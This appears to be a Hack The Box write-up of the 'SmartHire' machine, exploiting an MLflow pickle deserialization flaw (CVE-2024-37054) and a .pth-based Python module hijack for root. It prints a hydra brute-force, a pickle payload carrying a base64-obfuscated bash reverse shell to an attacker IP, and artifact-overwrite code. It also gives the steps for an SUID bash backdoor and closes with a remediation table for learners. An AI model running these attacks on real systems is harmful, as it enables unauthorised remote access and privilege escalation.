HTB SmartHire: CVE-2024-37054 (MLflow RCE) → Python Module Hijacking via .pth
Box HTB non-retired. Entre le mot de passe pour lire le writeup.
Introduction
SmartHire is a Medium Linux machine that chains an MLflow unsafe deserialization vulnerability (CVE-2024-37054) for initial access, and a Python module hijacking via site.addsitedir plus .pth files for privilege escalation to root.
Attack Overview
[Recon]
nmap → smarthire.htb (HTTP) + models.smarthire.htb (MLflow 2.14.1, Basic Auth)
hydra → admin:password
[Foothold - CVE-2024-37054]
Register account → train legitimate model → model name disclosed via /model_info
Build raw pickle payload (stdlib pickle)
GET /api/2.0/mlflow/model-versions/search → extract run_id
PUT /api/2.0/mlflow-artifacts/.../python_model.pkl → overwrite with payload
POST /predict → load_model → pickle.load → RCE → shell as svcweb
[PrivEsc - Python Module Hijacking]
sudo -l → mlflowctl.py NOPASSWD as root
site.addsitedir(plugins/*) → all subdirs added to sys.path
plugins/dev/ writable by devs group (svcweb member)
evil.pth → sys.path.insert(0, dev/) → win path priority
mlflow_actions.py → cp /bin/bash /tmp/rootbash + chmod +s
sudo mlflowctl.py status → SUID bash → root shell
Enumeration
Nmap scan:
nmap -sV -sC -p- --min-rate 5000 10.129.2.95
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
Add the domain:
echo "10.129.2.95 smarthire.htb" >> /etc/hosts
Vhost Fuzzing
ffuf -w SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-H "Host: FUZZ.smarthire.htb" \
-u http://smarthire.htb
Result: models (Status 401). Add models.smarthire.htb to /etc/hosts. This vhost returns a Basic Auth challenge.
Directory Fuzzing (smarthire.htb)
ffuf -w SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-u http://smarthire.htb/FUZZ -ic -c -v
/login [200]
/register [200]
/dashboard [302 → /login]
/predict [302 → /login]
Registration is open.
Brute Forcing Basic Auth on models.smarthire.htb
hydra -l admin -P SecLists/Passwords/Leaked-Databases/rockyou.txt \
models.smarthire.htb http-get /
Credentials: admin:password
Behind the authentication: MLflow 2.14.1 tracking server with a model registry UI.
Understanding the Application Flow
After registering (test1337:test1337) and logging in:
/dashboard– Upload a CSV to train an ML model./predict– Upload a CSV to score resumes against the trained model./model_info– Returns the active model name as JSON.
The model name follows the pattern {username}-{hash}-model. After training a legitimate CSV, the model is registered in MLflow.
GET /model_info
{
"model_name": "test1337-badd941a3e54-model",
"status": "success"
}
When a CSV is submitted to /predict, the server calls mlflow.pyfunc.load_model("test1337-badd941a3e54-model") – this is the trigger.
Foothold – CVE-2024-37054 (MLflow RCE)
Vulnerability
CVE-2024-37054 affects MLflow versions 0.9.0 through < 2.14.3. When a PyFunc model is loaded, MLflow reads python_model.pkl and deserializes it with pickle.load() without validation. An attacker with write access to the model registry can overwrite this file with a malicious pickle payload.
Why the Naive Approach Fails
MLflow uses cloudpickle (not stdlib pickle) to serialize PythonModel objects. cloudpickle serializes local/inner classes by saving their bytecode, bypassing __reduce__. The resulting python_model.pkl contains bytecode, not an arbitrary command.
Correct Approach – Direct Artifact Overwrite
Build a raw pickle payload with stdlib pickle and use the MLflow Artifacts REST API to overwrite python_model.pkl.
Step 1 – Build the payload
import pickle, os
class RCE:
def __reduce__(self):
cmd = "echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTk4LzQ0NDQgMD4mMQ== | base64 -d | bash"
return (os.system, (cmd,))
payload = pickle.dumps(RCE())
Step 2 – Get the run_id from the registry
import requests
r = requests.get(
"http://models.smarthire.htb/api/2.0/mlflow/model-versions/search",
params={"filter": "name='test1337-badd941a3e54-model'"},
auth=("admin", "password")
)
source = r.json()["model_versions"][0]["source"]
# mlflow-artifacts:/0/<run_id>/artifacts/model
run_id = source.split("/")[2]
Step 3 – Overwrite the artifact
put_url = f"http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/model/python_model.pkl"
requests.put(
put_url,
data=payload,
headers={"Content-Type": "application/octet-stream"},
auth=("admin", "password")
)
Step 4 – Trigger the RCE
nc -lvnp 4444
session = requests.Session()
session.post("http://smarthire.htb/login",
data={"username": "test1337", "password": "test1337"})
with open("trigger.csv", "rb") as f:
session.post("http://smarthire.htb/predict",
files={"file": ("trigger.csv", f)},
timeout=5)
A reverse shell is received as svcweb. User flag:
[redacted]
Privilege Escalation – Python Module Hijacking via .pth
Sudo Enumeration
sudo -l
Output:
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
Analyzing the Script (mlflowctl.py)
from pathlib import Path
import sys, site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path)) # adds every plugin subdir to sys.path
def main():
import mlflow_actions, backup_models # imported from plugins/
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
Every subdirectory of plugins/ is added to sys.path, then mlflow_actions is imported at runtime.
Plugin Directory Permissions
ls -la /opt/tools/mlflow_ctl/plugins/
drwxr-xr-x root root core/
drwxrwxr-x root devs dev/
svcweb is in the devs group and can write to dev/.
The sys.path Priority Problem
iterdir() returns directories in filesystem creation order. core/ was created before dev/, so it appears first in sys.path. Python imports core/mlflow_actions.py instead of our malicious one.
Solution – .pth Files
site.addsitedir processes .pth files in the directory. A line starting with import is executed as Python code. Inject sys.path.insert(0, ...) to force dev/ to the front.
Exploitation
Step 1 – Create .pth to win the path race:
echo "import sys; sys.path.insert(0, '/opt/tools/mlflow_ctl/plugins/dev')" \
> /opt/tools/mlflow_ctl/plugins/dev/evil.pth
Step 2 – Malicious mlflow_actions.py (using printf to preserve indentation):
printf 'import os\n\ndef check_status():\n os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")\n\ndef restart():\n pass\n' \
> /opt/tools/mlflow_ctl/plugins/dev/mlflow_actions.py
Step 3 – Trigger as root:
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
The script executes mlflow_actions.check_status() as root, copying /bin/bash to /tmp/rootbash with the SUID bit set.
Step 4 – Root shell:
/tmp/rootbash -p
whoami # root
Root flag:
[redacted]
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| CVE-2024-37054 (MLflow pickle deserialization) | pickle.load() on user-controlled artifact | Use safer serialization (JSON, YAML) or sign artifacts; upgrade MLflow to ≥2.14.3 |
| MLflow Artifacts API write access | Overly permissive write permissions on model registry | Restrict artifact write access to trusted users only |
Dynamic import with site.addsitedir | sys.path order influenced by filesystem creation time | Explicitly define plugin directories; avoid runtime sys.path mutation with user-writable directories |
.pth file code execution | import lines in .pth execute at addsitedir | Restrict write access to directories processed by site.addsitedir; avoid using .pth in privileged scripts |
sudo with wildcards (*) | User can control script arguments and influence import behavior | Use absolute paths; avoid Python scripts that dynamically import from user-writable locations |
Resources
- Nmap — Port scanning and service detection
- ffuf — Vhost and directory fuzzing
- hydra — Basic authentication brute forcing
- MLflow — ML lifecycle platform
- CVE-2024-37054 — MLflow unsafe deserialization
- Pickle RCE technique —
__reduce__method exploitation - site.addsitedir — Python site module and
.pthfiles